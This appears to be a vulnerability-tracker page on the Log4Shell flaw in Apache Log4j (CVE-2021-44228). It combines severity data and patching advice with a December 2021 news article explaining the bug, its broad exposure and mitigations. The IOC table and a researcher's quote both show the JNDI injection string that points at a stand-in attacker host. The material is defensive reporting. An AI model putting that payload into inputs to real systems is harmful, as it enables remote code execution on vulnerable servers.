Critical RCE 0day in Apache Log4j library exploited in the wild (CVE-2021-44228)
Vulnerabilities mentionedAll →
| CVE | Vulnerability | CVSS | EPSS | Flags | Affected | Exposure | Published |
|---|---|---|---|---|---|---|---|
| CVE-2021-44228 | JNDI Injection Remote Code Execution in Apache Log4j2 (Log4Shell) Apache Log4j2, an extremely widely used Java logging library, fails to protect its JNDI lookup feature against attacker-controlled JNDI-related endpoints (CWE-20, CWE-502), so crafted text processed by the logger causes the Java runtime to fetch and load attacker-supplied objects, leading to remote code execution. The flaw is triggered whenever attacker-controlled input reaches the logging API and is parsed for JNDI lookups, a pattern common in web servers and enterprise Java applications that log user-supplied fields such as headers or form values. Successful exploitation yields arbitrary code execution under the privileges of the affected application, giving attackers a foothold for lateral movement, data theft, and ransomware deployment. Any Java application or product that ships or bundles an affected Apache Log4j2 release is exposed, making this one of the most broadly deployed vulnerabilities ever disclosed. Exploitation is confirmed in the wild: CISA added it to the Known Exploited Vulnerabilities catalog on 2021-12-10 with known ransomware use, and EPSS assigns a 100% probability of exploitation within 30 days. Do: Inventory all Java applications and dependencies for Apache Log4j2 and apply the vendor's patched updates, or remove affected assets from the network, as required by CISA's KEV catalog. Where updates are not yet available, use the temporary mitigations in CISA's ED-22-02 recommended-mitigation guidance, such as disabling message lookups, only until patches are applied. Prioritize internet-facing and business-critical systems and hunt for exploitation activity given known ransomware use. | 10.0 | 100% | KEV ransomware PoC ×9 |
| masshundreds of millions of Java applications/devices, with hundreds of thousands of internet-exposed services |
Indicators of compromiseauto-extracted · verify before use · export allAll →
| Type | Indicator | Context |
|---|---|---|
| domain | maliciousexternalhost.com | m: ${jndi:ldap://maliciousexternalhost.com/resource , where maliciousexternalhost.com is an instance controlled by the adversary,” he explained . |
Full article734 words · extracted from helpnetsecurity.com · click to collapse
A critical zero-day vulnerability in Apache Log4j (CVE-2021-44228), a widely used Java logging library, is being leveraged by attackers in the wild – for now, fortunately, primarily to deliver coin miners.
Reported to the Apache Software Foundation by Chen Zhaojun of Alibaba Cloud Security Team, the bug has now apparently been fixed in Log4j v2.15.0, just as a PoC has popped up on GitHub and there are reports that attackers are already attempting to compromise vulnerable applications/servers.
About the vulnerability (CVE-2021-44228)
Dubbed Log4Shell, CVE-2021-44228 has received the maximum possible CVSS score (10.0).
The Apache Software Foundation says that in Apache Log4j2 versions 2.14.1 and earlier “JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled.”
They also pointed out that from Log4j v2.15.0, this behavior has been disabled by default.
According to John Hammond, a senior security researcher with Huntress, the attack vector is extremely trivial for threat actors.
“A single string of text can trigger an application to reach out to an external location if it is logged via the vulnerable instance of log4j. A threat actor might supply special text in an HTTP User-Agent header or a simple POST form request, with the usual form: ${jndi:ldap://maliciousexternalhost.com/resource, where maliciousexternalhost.com is an instance controlled by the adversary,” he explained.
“The log4j vulnerability parses this and reaches out to the malicious host via the ‘Java Naming and Directory Interface’ (JNDI). The first-stage resource acts as a springboard to another attacker-controlled endpoint, which serves Java code to be executed on the original victim. Ultimately, this grants the adversary the opportunity to run any code they would like on the target: remote code execution,”
How wide is the attack surface?
Unfortunately, the library is frequently used in enterprise Java software.
“Given how ubiquitous this library is, the impact of the exploit (full server control), and how easy it is to exploit, the impact of this vulnerability is quite severe,” noted LunaSec CEO Free Wortley and developer Chris Thompson.
“Many, many services are vulnerable to this exploit. Cloud services like Steam, Apple iCloud, and apps like Minecraft have already been found to be vulnerable. Anybody using Apache Struts is likely vulnerable. We’ve seen similar vulnerabilities exploited before in breaches like the 2017 Equifax data breach.”
But it doesn’t stop there: apparently there are printers and CCTV systems shipping with default vulnerable configurations. A GitHub project is trying to map out the possible attack surface by listing potentially affected manufacturers and components (including other Apache frameworks such as Apache Solr).
It’s going to be a long weekend for security teams around the world as they are trying to pinpoint which applications used by their organization use the vulnerable library (and whether it can be exploited), so we can expect a more precise list getting compiled by the wider security community over the next few days.
Update and/or mitigate
According to the ASF, upgrading to Log4j v2.15.0 solves the issue and those can’t upgrade can implement several mitigations. But, apparently, that fix has been bypassed, and log4j-2.15.0-rc2 is what you want now.
“If your organization uses Apache log4j, you should upgrade to log4j-2.1.50.rc2 immediately. Be sure that your Java instance is up-to-date; however, it’s worth noting that this isn’t an across-the-board solution. You may need to wait until your vendors push security updates out for their affected products,” Hammond added.
“The log4j package may be bundled in with software you use provided by any given vendor. In this scenario, unfortunately, the vendors themselves will need to push the security updates downstream. As you assess your own risk and threat model, please consider the components of the software you use and especially what may be publicly accessible.”
Make no mistake, this is the largest Java vulnerability we have seen in years. It’s absolutely brutal,” Arshan Dabirsiaghi, co-founder and chief scientist, Contrast Security, told Help Net Security.
“There are three main questions that teams should answer: Where does this impact me? How can I mitigate the impact right now to prevent exploitation? How can I locate this and similar issues to prevent future exploitation?”
UPDATE (December 13, 2021, 04:52 a.m. PT): Check out the development of the situation over the weekend.
Text extracted automatically; images, tables and formatting may be missing. Original: https://www.helpnetsecurity.com/2021/12/10/cve-2021-44228/